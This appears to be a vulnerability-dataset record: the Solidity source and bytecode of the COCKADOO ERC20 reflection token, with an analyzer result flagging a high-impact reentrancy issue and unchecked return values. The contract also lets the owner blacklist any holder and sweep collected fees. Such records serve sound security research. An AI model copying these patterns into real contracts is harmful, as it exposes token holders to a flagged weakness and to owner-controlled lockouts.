fffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c0b08b07cb8f52e6744614527bcda356f57ead89c8f74e3b2d7c39efe85fb3b64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,767
0x9433c3c9479cfbb97ad45e99bc0498559107897a
/* */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract COCKADOO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Cock-A-Doodle-Doo"; string private constant _symbol = "COCKADOO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x06CaeD74B785dC7566eBc667BB04c4AdddA92607); _feeAddrWallet2 = payable(0x06CaeD74B785dC7566eBc667BB04c4AdddA92607); _buyTax = 5; _sellTax = 5; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (40 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x03f7724180AA6b939894B5Ca4314783B0b36b329); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 250000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 5) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 5) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd80146103cc578063c9567bf9146103e3578063dbe8272c146103fa578063dc1052e214610423578063dd62ed3e1461044c5761012a565b8063715018a6146102f95780638da5cb5b1461031057806395d89b411461033b578063a9059cbb14610366578063b515566a146103a35761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c5780636fc3eaec146102a557806370a08231146102bc5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631bbae6e0146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610489565b6040516101519190612d11565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061285e565b6104c6565b60405161018e9190612cf6565b60405180910390f35b3480156101a357600080fd5b506101ac6104e4565b6040516101b99190612e73565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612941565b6104f4565b005b3480156101f757600080fd5b50610212600480360381019061020d919061280b565b6105a4565b60405161021f9190612cf6565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612771565b61067d565b005b34801561025d57600080fd5b5061026661076d565b6040516102739190612ee8565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906128e7565b610776565b005b3480156102b157600080fd5b506102ba610828565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612771565b6108ce565b6040516102f09190612e73565b60405180910390f35b34801561030557600080fd5b5061030e61091f565b005b34801561031c57600080fd5b50610325610a72565b6040516103329190612c28565b60405180910390f35b34801561034757600080fd5b50610350610a9b565b60405161035d9190612d11565b60405180910390f35b34801561037257600080fd5b5061038d6004803603810190610388919061285e565b610ad8565b60405161039a9190612cf6565b60405180910390f35b3480156103af57600080fd5b506103ca60048036038101906103c5919061289e565b610af6565b005b3480156103d857600080fd5b506103e1610c20565b005b3480156103ef57600080fd5b506103f8610cce565b005b34801561040657600080fd5b50610421600480360381019061041c9190612941565b611229565b005b34801561042f57600080fd5b5061044a60048036038101906104459190612941565b6112d2565b005b34801561045857600080fd5b50610473600480360381019061046e91906127cb565b61137b565b6040516104809190612e73565b60405180910390f35b60606040518060400160405280601181526020017f436f636b2d412d446f6f646c652d446f6f000000000000000000000000000000815250905090565b60006104da6104d3611402565b848461140a565b6001905092915050565b6000678ac7230489e80000905090565b6104fc611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610589576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058090612dd3565b60405180910390fd5b6703782dace9d900008111156105a157806012819055505b50565b60006105b18484846115d5565b610672846105bd611402565b61066d8560405180606001604052806028815260200161359d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610623611402565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdc9092919063ffffffff16565b61140a565b600190509392505050565b610685611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070990612dd3565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61077e611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080290612dd3565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b610830611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b490612dd3565b60405180910390fd5b60004790506108cb81611c40565b50565b6000610918600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cac565b9050919050565b610927611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ab90612dd3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f434f434b41444f4f000000000000000000000000000000000000000000000000815250905090565b6000610aec610ae5611402565b84846115d5565b6001905092915050565b610afe611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290612dd3565b60405180910390fd5b60005b8151811015610c1c57600160066000848481518110610bb057610baf613230565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c1490613189565b915050610b8e565b5050565b610c28611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cac90612dd3565b60405180910390fd5b6000610cc0306108ce565b9050610ccb81611d1a565b50565b610cd6611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5a90612dd3565b60405180910390fd5b601160149054906101000a900460ff1615610db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610daa90612e53565b60405180910390fd5b60007303f7724180aa6b939894b5ca4314783b0b36b329905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e4230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e8000061140a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e8857600080fd5b505afa158015610e9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec0919061279e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2257600080fd5b505afa158015610f36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5a919061279e565b6040518363ffffffff1660e01b8152600401610f77929190612c43565b602060405180830381600087803b158015610f9157600080fd5b505af1158015610fa5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc9919061279e565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611052306108ce565b60008061105d610a72565b426040518863ffffffff1660e01b815260040161107f96959493929190612c95565b6060604051808303818588803b15801561109857600080fd5b505af11580156110ac573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110d1919061296e565b5050506001601160166101000a81548160ff0219169083151502179055506000601160176101000a81548160ff0219169083151502179055506703782dace9d900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111d3929190612c6c565b602060405180830381600087803b1580156111ed57600080fd5b505af1158015611201573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112259190612914565b5050565b611231611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b590612dd3565b60405180910390fd5b60058110156112cf5780600c819055505b50565b6112da611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135e90612dd3565b60405180910390fd5b60058110156113785780600d819055505b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147190612e33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e190612d73565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c89190612e73565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90612e13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ac90612d33565b60405180910390fd5b600081116116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef90612df3565b60405180910390fd5b6000600a81905550600d54600b81905550611711610a72565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177f575061174f610a72565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bcc57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118285750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61183157600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118dc5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119325750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561194a5750601160179054906101000a900460ff165b156119fa5760125481111561195e57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119a957600080fd5b6028426119b69190612fa9565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611aa55750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611afb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b12576000600a81905550600c54600b819055505b6000611b1d306108ce565b9050601160159054906101000a900460ff16158015611b8a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba25750601160169054906101000a900460ff165b15611bca57611bb081611d1a565b60004790506000811115611bc857611bc747611c40565b5b505b505b611bd7838383611fa2565b505050565b6000838311158290611c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1b9190612d11565b60405180910390fd5b5060008385611c33919061308a565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ca8573d6000803e3d6000fd5b5050565b6000600854821115611cf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cea90612d53565b60405180910390fd5b6000611cfd611fb2565b9050611d128184611fdd90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d5257611d5161325f565b5b604051908082528060200260200182016040528015611d805781602001602082028036833780820191505090505b5090503081600081518110611d9857611d97613230565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3a57600080fd5b505afa158015611e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e72919061279e565b81600181518110611e8657611e85613230565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eed30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140a565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f51959493929190612e8e565b600060405180830381600087803b158015611f6b57600080fd5b505af1158015611f7f573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b611fad838383612027565b505050565b6000806000611fbf6121f2565b91509150611fd68183611fdd90919063ffffffff16565b9250505090565b600061201f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612251565b905092915050565b600080600080600080612039876122b4565b95509550955095509550955061209786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061212c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612178816123c4565b6121828483612481565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121df9190612e73565b60405180910390a3505050505050505050565b600080600060085490506000678ac7230489e800009050612226678ac7230489e80000600854611fdd90919063ffffffff16565b82101561224457600854678ac7230489e8000093509350505061224d565b81819350935050505b9091565b60008083118290612298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228f9190612d11565b60405180910390fd5b50600083856122a79190612fff565b9050809150509392505050565b60008060008060008060008060006122d18a600a54600b546124bb565b92509250925060006122e1611fb2565b905060008060006122f48e878787612551565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061235e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bdc565b905092915050565b60008082846123759190612fa9565b9050838110156123ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b190612d93565b60405180910390fd5b8091505092915050565b60006123ce611fb2565b905060006123e582846125da90919063ffffffff16565b905061243981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124968260085461231c90919063ffffffff16565b6008819055506124b18160095461236690919063ffffffff16565b6009819055505050565b6000806000806124e760646124d9888a6125da90919063ffffffff16565b611fdd90919063ffffffff16565b905060006125116064612503888b6125da90919063ffffffff16565b611fdd90919063ffffffff16565b9050600061253a8261252c858c61231c90919063ffffffff16565b61231c90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061256a85896125da90919063ffffffff16565b9050600061258186896125da90919063ffffffff16565b9050600061259887896125da90919063ffffffff16565b905060006125c1826125b3858761231c90919063ffffffff16565b61231c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156125ed576000905061264f565b600082846125fb9190613030565b905082848261260a9190612fff565b1461264a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264190612db3565b60405180910390fd5b809150505b92915050565b600061266861266384612f28565b612f03565b9050808382526020820190508285602086028201111561268b5761268a613293565b5b60005b858110156126bb57816126a188826126c5565b84526020840193506020830192505060018101905061268e565b5050509392505050565b6000813590506126d481613557565b92915050565b6000815190506126e981613557565b92915050565b600082601f8301126127045761270361328e565b5b8135612714848260208601612655565b91505092915050565b60008135905061272c8161356e565b92915050565b6000815190506127418161356e565b9291505056